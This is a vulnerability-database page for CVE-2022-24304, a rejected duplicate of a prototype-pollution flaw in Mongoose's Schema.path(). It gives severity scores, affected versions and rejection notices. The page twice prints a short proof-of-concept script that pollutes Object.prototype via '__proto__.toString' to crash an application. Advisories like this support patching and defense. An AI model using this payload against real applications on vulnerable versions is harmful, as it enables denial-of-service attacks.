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CVE-2022-24304

Mongoose Vulnerable to Prototype Pollution in Schema Object

9.8 CriticalFix availableRejected

DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

What each source reports

GitHub Advisories Score usedGHSA-h8hf-x3f4-xwgp 9.8

Mongoose Vulnerable to Prototype Pollution in Schema Object

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Record
GHSA-h8hf-x3f4-xwgp
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321
Updated
2026-11-02
CVE List No score

DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage

Record
CVE-2022-24304
Updated
2026-11-02
EUVDEUVD-2022-6564 No score

DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage

Record
EUVD-2022-6564
Updated
2026-11-03
NVD No score

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage

Record
CVE-2022-24304
Updated
2026-11-02
OSVGHSA-h8hf-x3f4-xwgp 9.8

Mongoose Vulnerable to Prototype Pollution in Schema Object

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Record
GHSA-h8hf-x3f4-xwgp
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
mongoose
npm
6.0.0 up to 6.4.6
6.4.6
mongoose
npm
before 5.13.15
5.13.15

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2022-24304 has been rejected by its source and should not be treated as a live vulnerability, published August 26, 2022. Fixed in mongoose 6.4.6.

References

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